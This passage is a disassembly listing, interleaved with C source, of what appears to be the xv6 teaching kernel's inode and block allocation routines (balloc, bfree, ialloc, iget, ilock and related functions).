mov -0xc(%ebp),%edx 80101c95: 01 c2 add %eax,%edx 80101c97: 8b 45 08 mov 0x8(%ebp),%eax 80101c9a: 89 54 24 04 mov %edx,0x4(%esp) 80101c9e: 89 04 24 mov %eax,(%esp) 80101ca1: e8 c8 fe ff ff call 80101b6e <bzero> return b + bi; 80101ca6: 8b 45 f0 mov -0x10(%ebp),%eax 80101ca9: 8b 55 f4 mov -0xc(%ebp),%edx 80101cac: 01 d0 add %edx,%eax } } brelse(bp); } panic("balloc: out of blocks"); } 80101cae: 83 c4 24 add $0x24,%esp 80101cb1: 5b pop %ebx 80101cb2: 5d pop %ebp 80101cb3: c3 ret struct buf *bp; bp = 0; for(b = 0; b < sb.size; b += BPB){ bp = bread(dev, BBLOCK(b, sb)); for(bi = 0; bi < BPB && b + bi < sb.size; bi++){ 80101cb4: 83 45 f0 01 addl $0x1,-0x10(%ebp) 80101cb8: 81 7d f0 ff 0f 00 00 cmpl $0xfff,-0x10(%ebp) 80101cbf: 7f 17 jg 80101cd8 <balloc+0x119> 80101cc1: 8b 45 f0 mov -0x10(%ebp),%eax 80101cc4: 8b 55 f4 mov -0xc(%ebp),%edx 80101cc7: 01 d0 add %edx,%eax 80101cc9: 89 c2 mov %eax,%edx 80101ccb: a1 60 2a 11 80 mov 0x80112a60,%eax 80101cd0: 39 c2 cmp %eax,%edx 80101cd2: 0f 82 39 ff ff ff jb 80101c11 <balloc+0x52> brelse(bp); bzero(dev, b + bi); return b + bi; } } brelse(bp); 80101cd8: 8b 45 ec mov -0x14(%ebp),%eax 80101cdb: 89 04 24 mov %eax,(%esp) 80101cde: e8 34 e5 ff ff call 80100217 <brelse> { int b, bi, m; struct buf *bp; bp = 0; for(b = 0; b < sb.size; b += BPB){ 80101ce3: 81 45 f4 00 10 00 00 addl $0x1000,-0xc(%ebp) 80101cea: 8b 55 f4 mov -0xc(%ebp),%edx 80101ced: a1 60 2a 11 80 mov 0x80112a60,%eax 80101cf2: 39 c2 cmp %eax,%edx 80101cf4: 0f 82 df fe ff ff jb 80101bd9 <balloc+0x1a> return b + bi; } } brelse(bp); } panic("balloc: out of blocks"); 80101cfa: c7 04 24 4c 93 10 80 movl $0x8010934c,(%esp) 80101d01: e8 37 e8 ff ff call 8010053d <panic> 80101d06 <bfree>: } // Free a disk block. static void bfree(int dev, uint b) { 80101d06: 55 push %ebp 80101d07: 89 e5 mov %esp,%ebp 80101d09: 53 push %ebx 80101d0a: 83 ec 24 sub $0x24,%esp struct buf *bp; int bi, m; readsb(dev, &sb); 80101d0d: c7 44 24 04 60 2a 11 movl $0x80112a60,0x4(%esp) 80101d14: 80 80101d15: 8b 45 08 mov 0x8(%ebp),%eax 80101d18: 89 04 24 mov %eax,(%esp) 80101d1b: e8 08 fe ff ff call 80101b28 <readsb> bp = bread(dev, BBLOCK(b, sb)); 80101d20: 8b 45 0c mov 0xc(%ebp),%eax 80101d23: 89 c2 mov %eax,%edx 80101d25: c1 ea 0c shr $0xc,%edx 80101d28: a1 78 2a 11 80 mov 0x80112a78,%eax 80101d2d: 01 c2 add %eax,%edx 80101d2f: 8b 45 08 mov 0x8(%ebp),%eax 80101d32: 89 54 24 04 mov %edx,0x4(%esp) 80101d36: 89 04 24 mov %eax,(%esp) 80101d39: e8 68 e4 ff ff call 801001a6 <bread> 80101d3e: 89 45 f4 mov %eax,-0xc(%ebp) bi = b % BPB; 80101d41: 8b 45 0c mov 0xc(%ebp),%eax 80101d44: 25 ff 0f 00 00 and $0xfff,%eax 80101d49: 89 45 f0 mov %eax,-0x10(%ebp) m = 1 << (bi % 8); 80101d4c: 8b 45 f0 mov -0x10(%ebp),%eax 80101d4f: 89 c2 mov %eax,%edx 80101d51: c1 fa 1f sar $0x1f,%edx 80101d54: c1 ea 1d shr $0x1d,%edx 80101d57: 01 d0 add %edx,%eax 80101d59: 83 e0 07 and $0x7,%eax 80101d5c: 29 d0 sub %edx,%eax 80101d5e: ba 01 00 00 00 mov $0x1,%edx 80101d63: 89 d3 mov %edx,%ebx 80101d65: 89 c1 mov %eax,%ecx 80101d67: d3 e3 shl %cl,%ebx 80101d69: 89 d8 mov %ebx,%eax 80101d6b: 89 45 ec mov %eax,-0x14(%ebp) if((bp->data[bi/8] & m) == 0) 80101d6e: 8b 45 f0 mov -0x10(%ebp),%eax 80101d71: 8d 50 07 lea 0x7(%eax),%edx 80101d74: 85 c0 test %eax,%eax 80101d76: 0f 48 c2 cmovs %edx,%eax 80101d79: c1 f8 03 sar $0x3,%eax 80101d7c: 8b 55 f4 mov -0xc(%ebp),%edx 80101d7f: 0f b6 44 02 18 movzbl 0x18(%edx,%eax,1),%eax 80101d84: 0f b6 c0 movzbl %al,%eax 80101d87: 23 45 ec and -0x14(%ebp),%eax 80101d8a: 85 c0 test %eax,%eax 80101d8c: 75 0c jne 80101d9a <bfree+0x94> panic("freeing free block"); 80101d8e: c7 04 24 62 93 10 80 movl $0x80109362,(%esp) 80101d95: e8 a3 e7 ff ff call 8010053d <panic> bp->data[bi/8] &= ~m; 80101d9a: 8b 45 f0 mov -0x10(%ebp),%eax 80101d9d: 8d 50 07 lea 0x7(%eax),%edx 80101da0: 85 c0 test %eax,%eax 80101da2: 0f 48 c2 cmovs %edx,%eax 80101da5: c1 f8 03 sar $0x3,%eax 80101da8: 8b 55 f4 mov -0xc(%ebp),%edx 80101dab: 0f b6 54 02 18 movzbl 0x18(%edx,%eax,1),%edx 80101db0: 8b 4d ec mov -0x14(%ebp),%ecx 80101db3: f7 d1 not %ecx 80101db5: 21 ca and %ecx,%edx 80101db7: 89 d1 mov %edx,%ecx 80101db9: 8b 55 f4 mov -0xc(%ebp),%edx 80101dbc: 88 4c 02 18 mov %cl,0x18(%edx,%eax,1) log_write(bp); 80101dc0: 8b 45 f4 mov -0xc(%ebp),%eax 80101dc3: 89 04 24 mov %eax,(%esp) 80101dc6: e8 5b 21 00 00 call 80103f26 <log_write> brelse(bp); 80101dcb: 8b 45 f4 mov -0xc(%ebp),%eax 80101dce: 89 04 24 mov %eax,(%esp) 80101dd1: e8 41 e4 ff ff call 80100217 <brelse> } 80101dd6: 83 c4 24 add $0x24,%esp 80101dd9: 5b pop %ebx 80101dda: 5d pop %ebp 80101ddb: c3 ret 80101ddc <iinit>: struct inode inode[NINODE]; } icache; void iinit(int dev) { 80101ddc: 55 push %ebp 80101ddd: 89 e5 mov %esp,%ebp 80101ddf: 57 push %edi 80101de0: 56 push %esi 80101de1: 53 push %ebx 80101de2: 83 ec 3c sub $0x3c,%esp initlock(&icache.lock, "icache"); 80101de5: c7 44 24 04 75 93 10 movl $0x80109375,0x4(%esp) 80101dec: 80 80101ded: c7 04 24 80 2a 11 80 movl $0x80112a80,(%esp) 80101df4: e8 91 3d 00 00 call 80105b8a <initlock> readsb(dev, &sb); 80101df9: c7 44 24 04 60 2a 11 movl $0x80112a60,0x4(%esp) 80101e00: 80 80101e01: 8b 45 08 mov 0x8(%ebp),%eax 80101e04: 89 04 24 mov %eax,(%esp) 80101e07: e8 1c fd ff ff call 80101b28 <readsb> cprintf("sb: size %d nblocks %d ninodes %d nlog %d logstart %d inodestart %d bmap start %d\n", sb.size, 80101e0c: a1 78 2a 11 80 mov 0x80112a78,%eax 80101e11: 89 45 e4 mov %eax,-0x1c(%ebp) 80101e14: 8b 3d 74 2a 11 80 mov 0x80112a74,%edi 80101e1a: 8b 35 70 2a 11 80 mov 0x80112a70,%esi 80101e20: 8b 1d 6c 2a 11 80 mov 0x80112a6c,%ebx 80101e26: 8b 0d 68 2a 11 80 mov 0x80112a68,%ecx 80101e2c: 8b 15 64 2a 11 80 mov 0x80112a64,%edx 80101e32: a1 60 2a 11 80 mov 0x80112a60,%eax 80101e37: 89 45 e0 mov %eax,-0x20(%ebp) 80101e3a: 8b 45 e4 mov -0x1c(%ebp),%eax 80101e3d: 89 44 24 1c mov %eax,0x1c(%esp) 80101e41: 89 7c 24 18 mov %edi,0x18(%esp) 80101e45: 89 74 24 14 mov %esi,0x14(%esp) 80101e49: 89 5c 24 10 mov %ebx,0x10(%esp) 80101e4d: 89 4c 24 0c mov %ecx,0xc(%esp) 80101e51: 89 54 24 08 mov %edx,0x8(%esp) 80101e55: 8b 45 e0 mov -0x20(%ebp),%eax 80101e58: 89 44 24 04 mov %eax,0x4(%esp) 80101e5c: c7 04 24 7c 93 10 80 movl $0x8010937c,(%esp) 80101e63: e8 39 e5 ff ff call 801003a1 <cprintf> sb.nblocks, sb.ninodes, sb.nlog, sb.logstart, sb.inodestart, sb.bmapstart); } 80101e68: 83 c4 3c add $0x3c,%esp 80101e6b: 5b pop %ebx 80101e6c: 5e pop %esi 80101e6d: 5f pop %edi 80101e6e: 5d pop %ebp 80101e6f: c3 ret 80101e70 <ialloc>: //PAGEBREAK! // Allocate a new inode with the given type on device dev. // A free inode has a type of zero. struct inode* ialloc(uint dev, short type) { 80101e70: 55 push %ebp 80101e71: 89 e5 mov %esp,%ebp 80101e73: 83 ec 38 sub $0x38,%esp 80101e76: 8b 45 0c mov 0xc(%ebp),%eax 80101e79: 66 89 45 e4 mov %ax,-0x1c(%ebp) int inum; struct buf *bp; struct dinode *dip; for(inum = 1; inum < sb.ninodes; inum++){ 80101e7d: c7 45 f4 01 00 00 00 movl $0x1,-0xc(%ebp) 80101e84: e9 9e 00 00 00 jmp 80101f27 <ialloc+0xb7> bp = bread(dev, IBLOCK(inum, sb)); 80101e89: 8b 45 f4 mov -0xc(%ebp),%eax 80101e8c: 89 c2 mov %eax,%edx 80101e8e: c1 ea 03 shr $0x3,%edx 80101e91: a1 74 2a 11 80 mov 0x80112a74,%eax 80101e96: 01 d0 add %edx,%eax 80101e98: 89 44 24 04 mov %eax,0x4(%esp) 80101e9c: 8b 45 08 mov 0x8(%ebp),%eax 80101e9f: 89 04 24 mov %eax,(%esp) 80101ea2: e8 ff e2 ff ff call 801001a6 <bread> 80101ea7: 89 45 f0 mov %eax,-0x10(%ebp) dip = (struct dinode*)bp->data + inum%IPB; 80101eaa: 8b 45 f0 mov -0x10(%ebp),%eax 80101ead: 8d 50 18 lea 0x18(%eax),%edx 80101eb0: 8b 45 f4 mov -0xc(%ebp),%eax 80101eb3: 83 e0 07 and $0x7,%eax 80101eb6: c1 e0 06 shl $0x6,%eax 80101eb9: 01 d0 add %edx,%eax 80101ebb: 89 45 ec mov %eax,-0x14(%ebp) if(dip->type == 0){ // a free inode 80101ebe: 8b 45 ec mov -0x14(%ebp),%eax 80101ec1: 0f b7 00 movzwl (%eax),%eax 80101ec4: 66 85 c0 test %ax,%ax 80101ec7: 75 4f jne 80101f18 <ialloc+0xa8> memset(dip, 0, sizeof(*dip)); 80101ec9: c7 44 24 08 40 00 00 movl $0x40,0x8(%esp) 80101ed0: 00 80101ed1: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80101ed8: 00 80101ed9: 8b 45 ec mov -0x14(%ebp),%eax 80101edc: 89 04 24 mov %eax,(%esp) 80101edf: e8 16 3f 00 00 call 80105dfa <memset> dip->type = type; 80101ee4: 8b 45 ec mov -0x14(%ebp),%eax 80101ee7: 0f b7 55 e4 movzwl -0x1c(%ebp),%edx 80101eeb: 66 89 10 mov %dx,(%eax) log_write(bp); // mark it allocated on the disk 80101eee: 8b 45 f0 mov -0x10(%ebp),%eax 80101ef1: 89 04 24 mov %eax,(%esp) 80101ef4: e8 2d 20 00 00 call 80103f26 <log_write> brelse(bp); 80101ef9: 8b 45 f0 mov -0x10(%ebp),%eax 80101efc: 89 04 24 mov %eax,(%esp) 80101eff: e8 13 e3 ff ff call 80100217 <brelse> return iget(dev, inum); 80101f04: 8b 45 f4 mov -0xc(%ebp),%eax 80101f07: 89 44 24 04 mov %eax,0x4(%esp) 80101f0b: 8b 45 08 mov 0x8(%ebp),%eax 80101f0e: 89 04 24 mov %eax,(%esp) 80101f11: e8 eb 00 00 00 call 80102001 <iget> } brelse(bp); } panic("ialloc: no inodes"); } 80101f16: c9 leave 80101f17: c3 ret dip->type = type; log_write(bp); // mark it allocated on the disk brelse(bp); return iget(dev, inum); } brelse(bp); 80101f18: 8b 45 f0 mov -0x10(%ebp),%eax 80101f1b: 89 04 24 mov %eax,(%esp) 80101f1e: e8 f4 e2 ff ff call 80100217 <brelse> { int inum; struct buf *bp; struct dinode *dip; for(inum = 1; inum < sb.ninodes; inum++){ 80101f23: 83 45 f4 01 addl $0x1,-0xc(%ebp) 80101f27: 8b 55 f4 mov -0xc(%ebp),%edx 80101f2a: a1 68 2a 11 80 mov 0x80112a68,%eax 80101f2f: 39 c2 cmp %eax,%edx 80101f31: 0f 82 52 ff ff ff jb 80101e89 <ialloc+0x19> brelse(bp); return iget(dev, inum); } brelse(bp); } panic("ialloc: no inodes"); 80101f37: c7 04 24 cf 93 10 80 movl $0x801093cf,(%esp) 80101f3e: e8 fa e5 ff ff call 8010053d <panic> 80101f43 <iupdate>: } // Copy a modified in-memory inode to disk. void iupdate(struct inode *ip) { 80101f43: 55 push %ebp 80101f44: 89 e5 mov %esp,%ebp 80101f46: 83 ec 28 sub $0x28,%esp struct buf *bp; struct dinode *dip; bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 80101f49: 8b 45 08 mov 0x8(%ebp),%eax 80101f4c: 8b 40 04 mov 0x4(%eax),%eax 80101f4f: 89 c2 mov %eax,%edx 80101f51: c1 ea 03 shr $0x3,%edx 80101f54: a1 74 2a 11 80 mov 0x80112a74,%eax 80101f59: 01 c2 add %eax,%edx 80101f5b: 8b 45 08 mov 0x8(%ebp),%eax 80101f5e: 8b 00 mov (%eax),%eax 80101f60: 89 54 24 04 mov %edx,0x4(%esp) 80101f64: 89 04 24 mov %eax,(%esp) 80101f67: e8 3a e2 ff ff call 801001a6 <bread> 80101f6c: 89 45 f4 mov %eax,-0xc(%ebp) dip = (struct dinode*)bp->data + ip->inum%IPB; 80101f6f: 8b 45 f4 mov -0xc(%ebp),%eax 80101f72: 8d 50 18 lea 0x18(%eax),%edx 80101f75: 8b 45 08 mov 0x8(%ebp),%eax 80101f78: 8b 40 04 mov 0x4(%eax),%eax 80101f7b: 83 e0 07 and $0x7,%eax 80101f7e: c1 e0 06 shl $0x6,%eax 80101f81: 01 d0 add %edx,%eax 80101f83: 89 45 f0 mov %eax,-0x10(%ebp) dip->type = ip->type; 80101f86: 8b 45 08 mov 0x8(%ebp),%eax 80101f89: 0f b7 50 10 movzwl 0x10(%eax),%edx 80101f8d: 8b 45 f0 mov -0x10(%ebp),%eax 80101f90: 66 89 10 mov %dx,(%eax) dip->major = ip->major; 80101f93: 8b 45 08 mov 0x8(%ebp),%eax 80101f96: 0f b7 50 12 movzwl 0x12(%eax),%edx 80101f9a: 8b 45 f0 mov -0x10(%ebp),%eax 80101f9d: 66 89 50 02 mov %dx,0x2(%eax) dip->minor = ip->minor; 80101fa1: 8b 45 08 mov 0x8(%ebp),%eax 80101fa4: 0f b7 50 14 movzwl 0x14(%eax),%edx 80101fa8: 8b 45 f0 mov -0x10(%ebp),%eax 80101fab: 66 89 50 04 mov %dx,0x4(%eax) dip->nlink = ip->nlink; 80101faf: 8b 45 08 mov 0x8(%ebp),%eax 80101fb2: 0f b7 50 16 movzwl 0x16(%eax),%edx 80101fb6: 8b 45 f0 mov -0x10(%ebp),%eax 80101fb9: 66 89 50 06 mov %dx,0x6(%eax) dip->size = ip->size; 80101fbd: 8b 45 08 mov 0x8(%ebp),%eax 80101fc0: 8b 50 18 mov 0x18(%eax),%edx 80101fc3: 8b 45 f0 mov -0x10(%ebp),%eax 80101fc6: 89 50 08 mov %edx,0x8(%eax) memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 80101fc9: 8b 45 08 mov 0x8(%ebp),%eax 80101fcc: 8d 50 1c lea 0x1c(%eax),%edx 80101fcf: 8b 45 f0 mov -0x10(%ebp),%eax 80101fd2: 83 c0 0c add $0xc,%eax 80101fd5: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp) 80101fdc: 00 80101fdd: 89 54 24 04 mov %edx,0x4(%esp) 80101fe1: 89 04 24 mov %eax,(%esp) 80101fe4: e8 e4 3e 00 00 call 80105ecd <memmove> log_write(bp); 80101fe9: 8b 45 f4 mov -0xc(%ebp),%eax 80101fec: 89 04 24 mov %eax,(%esp) 80101fef: e8 32 1f 00 00 call 80103f26 <log_write> brelse(bp); 80101ff4: 8b 45 f4 mov -0xc(%ebp),%eax 80101ff7: 89 04 24 mov %eax,(%esp) 80101ffa: e8 18 e2 ff ff call 80100217 <brelse> } 80101fff: c9 leave 80102000: c3 ret 80102001 <iget>: // Find the inode with number inum on device dev // and return the in-memory copy. Does not lock // the inode and does not read it from disk. static struct inode* iget(uint dev, uint inum) { 80102001: 55 push %ebp 80102002: 89 e5 mov %esp,%ebp 80102004: 83 ec 28 sub $0x28,%esp struct inode *ip, *empty; acquire(&icache.lock); 80102007: c7 04 24 80 2a 11 80 movl $0x80112a80,(%esp) 8010200e: e8 98 3b 00 00 call 80105bab <acquire> // Is the inode already cached? empty = 0; 80102013: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 8010201a: c7 45 f4 b4 2a 11 80 movl $0x80112ab4,-0xc(%ebp) 80102021: eb 59 jmp 8010207c <iget+0x7b> if(ip->ref > 0 && ip->dev == dev && ip->inum == inum){ 80102023: 8b 45 f4 mov -0xc(%ebp),%eax 80102026: 8b 40 08 mov 0x8(%eax),%eax 80102029: 85 c0 test %eax,%eax 8010202b: 7e 35 jle 80102062 <iget+0x61> 8010202d: 8b 45 f4 mov -0xc(%ebp),%eax 80102030: 8b 00 mov (%eax),%eax 80102032: 3b 45 08 cmp 0x8(%ebp),%eax 80102035: 75 2b jne 80102062 <iget+0x61> 80102037: 8b 45 f4 mov -0xc(%ebp),%eax 8010203a: 8b 40 04 mov 0x4(%eax),%eax 8010203d: 3b 45 0c cmp 0xc(%ebp),%eax 80102040: 75 20 jne 80102062 <iget+0x61> ip->ref++; 80102042: 8b 45 f4 mov -0xc(%ebp),%eax 80102045: 8b 40 08 mov 0x8(%eax),%eax 80102048: 8d 50 01 lea 0x1(%eax),%edx 8010204b: 8b 45 f4 mov -0xc(%ebp),%eax 8010204e: 89 50 08 mov %edx,0x8(%eax) release(&icache.lock); 80102051: c7 04 24 80 2a 11 80 movl $0x80112a80,(%esp) 80102058: e8 b0 3b 00 00 call 80105c0d <release> return ip; 8010205d: 8b 45 f4 mov -0xc(%ebp),%eax 80102060: eb 6f jmp 801020d1 <iget+0xd0> } if(empty == 0 && ip->ref == 0) // Remember empty slot. 80102062: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80102066: 75 10 jne 80102078 <iget+0x77> 80102068: 8b 45 f4 mov -0xc(%ebp),%eax 8010206b: 8b 40 08 mov 0x8(%eax),%eax 8010206e: 85 c0 test %eax,%eax 80102070: 75 06 jne 80102078 <iget+0x77> empty = ip; 80102072: 8b 45 f4 mov -0xc(%ebp),%eax 80102075: 89 45 f0 mov %eax,-0x10(%ebp) acquire(&icache.lock); // Is the inode already cached? empty = 0; for(ip = &icache.inode[0]; ip < &icache.inode[NINODE]; ip++){ 80102078: 83 45 f4 50 addl $0x50,-0xc(%ebp) 8010207c: 81 7d f4 54 3a 11 80 cmpl $0x80113a54,-0xc(%ebp) 80102083: 72 9e jb 80102023 <iget+0x22> if(empty == 0 && ip->ref == 0) // Remember empty slot. empty = ip; } // Recycle an inode cache entry. if(empty == 0) 80102085: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 80102089: 75 0c jne 80102097 <iget+0x96> panic("iget: no inodes"); 8010208b: c7 04 24 e1 93 10 80 movl $0x801093e1,(%esp) 80102092: e8 a6 e4 ff ff call 8010053d <panic> ip = empty; 80102097: 8b 45 f0 mov -0x10(%ebp),%eax 8010209a: 89 45 f4 mov %eax,-0xc(%ebp) ip->dev = dev; 8010209d: 8b 45 f4 mov -0xc(%ebp),%eax 801020a0: 8b 55 08 mov 0x8(%ebp),%edx 801020a3: 89 10 mov %edx,(%eax) ip->inum = inum; 801020a5: 8b 45 f4 mov -0xc(%ebp),%eax 801020a8: 8b 55 0c mov 0xc(%ebp),%edx 801020ab: 89 50 04 mov %edx,0x4(%eax) ip->ref = 1; 801020ae: 8b 45 f4 mov -0xc(%ebp),%eax 801020b1: c7 40 08 01 00 00 00 movl $0x1,0x8(%eax) ip->flags = 0; 801020b8: 8b 45 f4 mov -0xc(%ebp),%eax 801020bb: c7 40 0c 00 00 00 00 movl $0x0,0xc(%eax) release(&icache.lock); 801020c2: c7 04 24 80 2a 11 80 movl $0x80112a80,(%esp) 801020c9: e8 3f 3b 00 00 call 80105c0d <release> return ip; 801020ce: 8b 45 f4 mov -0xc(%ebp),%eax } 801020d1: c9 leave 801020d2: c3 ret 801020d3 <idup>: // Increment reference count for ip. // Returns ip to enable ip = idup(ip1) idiom. struct inode* idup(struct inode *ip) { 801020d3: 55 push %ebp 801020d4: 89 e5 mov %esp,%ebp 801020d6: 83 ec 18 sub $0x18,%esp acquire(&icache.lock); 801020d9: c7 04 24 80 2a 11 80 movl $0x80112a80,(%esp) 801020e0: e8 c6 3a 00 00 call 80105bab <acquire> ip->ref++; 801020e5: 8b 45 08 mov 0x8(%ebp),%eax 801020e8: 8b 40 08 mov 0x8(%eax),%eax 801020eb: 8d 50 01 lea 0x1(%eax),%edx 801020ee: 8b 45 08 mov 0x8(%ebp),%eax 801020f1: 89 50 08 mov %edx,0x8(%eax) release(&icache.lock); 801020f4: c7 04 24 80 2a 11 80 movl $0x80112a80,(%esp) 801020fb: e8 0d 3b 00 00 call 80105c0d <release> return ip; 80102100: 8b 45 08 mov 0x8(%ebp),%eax } 80102103: c9 leave 80102104: c3 ret 80102105 <ilock>: // Lock the given inode. // Reads the inode from disk if necessary. void ilock(struct inode *ip) { 80102105: 55 push %ebp 80102106: 89 e5 mov %esp,%ebp 80102108: 83 ec 28 sub $0x28,%esp struct buf *bp; struct dinode *dip; if(ip == 0 || ip->ref < 1) 8010210b: 83 7d 08 00 cmpl $0x0,0x8(%ebp) 8010210f: 74 0a je 8010211b <ilock+0x16> 80102111: 8b 45 08 mov 0x8(%ebp),%eax 80102114: 8b 40 08 mov 0x8(%eax),%eax 80102117: 85 c0 test %eax,%eax 80102119: 7f 0c jg 80102127 <ilock+0x22> panic("ilock"); 8010211b: c7 04 24 f1 93 10 80 movl $0x801093f1,(%esp) 80102122: e8 16 e4 ff ff call 8010053d <panic> acquire(&icache.lock); 80102127: c7 04 24 80 2a 11 80 movl $0x80112a80,(%esp) 8010212e: e8 78 3a 00 00 call 80105bab <acquire> while(ip->flags & I_BUSY) 80102133: eb 13 jmp 80102148 <ilock+0x43> sleep(ip, &icache.lock); 80102135: c7 44 24 04 80 2a 11 movl $0x80112a80,0x4(%esp) 8010213c: 80 8010213d: 8b 45 08 mov 0x8(%ebp),%eax 80102140: 89 04 24 mov %eax,(%esp) 80102143: e8 77 35 00 00 call 801056bf <sleep> if(ip == 0 || ip->ref < 1) panic("ilock"); acquire(&icache.lock); while(ip->flags & I_BUSY) 80102148: 8b 45 08 mov 0x8(%ebp),%eax 8010214b: 8b 40 0c mov 0xc(%eax),%eax 8010214e: 83 e0 01 and $0x1,%eax 80102151: 84 c0 test %al,%al 80102153: 75 e0 jne 80102135 <ilock+0x30> sleep(ip, &icache.lock); ip->flags |= I_BUSY; 80102155: 8b 45 08 mov 0x8(%ebp),%eax 80102158: 8b 40 0c mov 0xc(%eax),%eax 8010215b: 89 c2 mov %eax,%edx 8010215d: 83 ca 01 or $0x1,%edx 80102160: 8b 45 08 mov 0x8(%ebp),%eax 80102163: 89 50 0c mov %edx,0xc(%eax) release(&icache.lock); 80102166: c7 04 24 80 2a 11 80 movl $0x80112a80,(%esp) 8010216d: e8 9b 3a 00 00 call 80105c0d <release> if(!(ip->flags & I_VALID)){ 80102172: 8b 45 08 mov 0x8(%ebp),%eax 80102175: 8b 40 0c mov 0xc(%eax),%eax 80102178: 83 e0 02 and $0x2,%eax 8010217b: 85 c0 test %eax,%eax 8010217d: 0f 85 d4 00 00 00 jne 80102257 <ilock+0x152> bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 80102183: 8b 45 08 mov 0x8(%ebp),%eax 80102186: 8b 40 04 mov 0x4(%eax),%eax 80102189: 89 c2 mov %eax,%edx 8010218b: c1 ea 03 shr $0x3,%edx 8010218e: a1 74 2a 11 80 mov 0x80112a74,%eax 80102193: 01 c2 add %eax,%edx 80102195: 8b 45 08 mov 0x8(%ebp),%eax 80102198: 8b 00 mov (%eax),%eax 8010219a: 89 54 24 04 mov %edx,0x4(%esp) 8010219e: 89 04 24 mov %eax,(%esp) 801021a1: e8 00 e0 ff ff call 801001a6 <bread> 801021a6: 89 45 f4 mov %eax,-0xc(%ebp) dip = (struct dinode*)bp->data + ip->inum%IPB; 801021a9: 8b 45 f4 mov -0xc(%ebp),%eax 801021ac: 8d 50 18 lea 0x18(%eax),%edx 801021af: 8b 45 08 mov 0x8(%ebp),%eax 801021b2: 8b 40 04 mov 0x4(%eax),%eax 801021b5: 83 e0 07 and $0x7,%eax 801021b8: c1 e0 06 shl $0x6,%eax 801021bb: 01 d0 add %edx,%eax 801021bd: 89 45 f0 mov %eax,-0x10(%ebp) ip->type = dip->type; 801021c0: 8b 45 f0 mov -0x10(%ebp),%eax 801021c3: 0f b7 10 movzwl (%eax),%edx 801021c6: 8b 45 08 mov 0x8(%ebp),%eax 801021c9: 66 89 50 10 mov %dx,0x10(%eax) ip->major = dip->major; 801021cd: 8b 45 f0 mov -0x10(%ebp),%eax 801021d0: 0f b7 50 02 movzwl 0x2(%eax),%edx 801021d4: 8b 45 08 mov 0x8(%ebp),%eax 801021d7: 66 89 50 12 mov %dx,0x12(%eax) ip->minor = dip->minor; 801021db: 8b 45 f0 mov -0x10(%ebp),%eax 801021de: 0f b7 50 04 movzwl 0x4(%eax),%edx 801021e2: 8b 45 08 mov 0x8(%ebp),%eax 801021e5: 66 89 50 14 mov %dx,0x14(%eax) ip->nlink = dip->nlink; 801021e9: 8b 45 f0 mov -0x10(%ebp),%eax 801021ec: 0f b7 50 06 movzwl 0x6(%eax),%edx 801021f0: 8b 45 08 mov 0x8(%ebp),%eax 801021f3: 66 89 50 16 mov %dx,0x16(%eax) ip->size = dip->size; 801021f7: 8b 45 f0 mov -0x10(%ebp),%eax 801021fa: 8b 50 08 mov 0x8(%eax),%edx 801021fd: 8b 45 08 mov 0x8(%ebp),%eax 80102200: 89 50 18 mov %edx,0x18(%eax) memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 80102203: 8b 45 f0 mov -0x10(%ebp),%eax 80102206: 8d 50 0c lea 0xc(%eax),%edx 80102209: 8b 45 08 mov 0x8(%ebp),%eax 8010220c: 83 c0 1c add $0x1c,%eax 8010220f: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp) 80102216: 00 80102217: 89 54 24 04 mov %edx,0x4(%esp) 8010221b: 89 04 24 mov %eax,(%esp) 8010221e: e8 aa 3c 00 00 call 80105ecd <memmove> brelse(bp); 80102223: 8b 45 f4 mov -0xc(%ebp),%eax 80102226: 89 04 24 mov %eax,(%esp) 80102229: e8 e9 df ff ff call 80100217 <brelse> ip->flags |= I_VALID; 8010222e: 8b 45 08 mov 0x8(%ebp),%eax 80102231: 8b 40 0c mov 0xc(%eax),%eax 80102234: 89 c2 mov %eax,%edx 80102236: 83 ca 02 or $0x2,%edx 80102239: 8b 45 08 mov 0x8(%ebp),%eax 8010223c: 89 50 0c mov %edx,0xc(%eax) if(ip->type == 0) 8010223f: 8b 45 08 mov 0x8(%ebp),%eax 80102242: 0f b7 40 10 movzwl 0x10(%eax),%eax 80102246: 66 85 c0 test %ax,%ax 80102249: 75 0c jne 80102257 <ilock+0x152> panic("ilock: no type"); 8010224b: c7 04 24 f7 93 10 80 movl $0x801093f7,(%esp) 80102252: e8 e6 e2 ff ff call 8010053d <panic> } } 80102257: c9 leave 80102258: c3 ret 80102259 <iunlock>: // Unlock the given inode. void iunlock(struct inode *ip) { 80102259: 55 push %ebp 8010225a: 89 e5 mov %esp,%ebp 8010225c: 83 ec 18 sub $0x18,%esp if(ip == 0 || !(ip->flags & I_BUSY) || ip->ref < 1) 8010225f: 83 7d 08 00 cmpl $0x0,0x8(%ebp) 80102263: 74 17 je 8010227c <iunlock+0x23> 80102265: 8b 45 08 mov 0x8(%ebp),%eax 80102268: 8b 40 0c mov 0xc(%eax),%eax 8010226b: 83 e0 01 and $0x1,%eax 8010226e: 85 c0 test %eax,%eax 80102270: 74 0a je 8010227c <iunlock+0x23> 80102272: 8b 45 08 mov 0x8(%ebp),%eax 80102275: 8b 40 08 mov 0x8(%eax),%eax 80102278: 85 c0 test %eax,%eax 8010227a: 7f 0c jg 80102288 <iunlock+0x2f> panic("iunlock"); 8010227c: c7 04 24 06 94 10 80 movl $0x80109406,(%esp) 80102283: e8 b5 e2 ff ff call 8010053d <panic> acquire(&icache.lock); 80102288: c7 04 24 80 2a 11 80 movl $0x80112a80,(%esp) 8010228f: e8 17 39 00 00 call 80105bab <acquire> ip->flags &= ~I_BUSY; 80102294: 8b 45 08 mov 0x8(%ebp),%eax 80102297: 8b 40 0c mov 0xc(%eax),%eax 8010229a: 89 c2 mov %eax,%edx 8010229c: 83 e2 fe and $0xfffffffe,%edx 8010229f: 8b 45 08 mov 0x8(%ebp),%eax 801022a2: 89 50 0c mov %edx,0xc(%eax) wakeup(ip); 801022a5: 8b 45 08 mov 0x8(%ebp),%eax 801022a8: 89 04 24 mov %eax,(%esp) 801022ab: e8 f8 34 00 00 call 801057a8 <wakeup> release(&icache.lock); 801022b0: c7 04 24 80 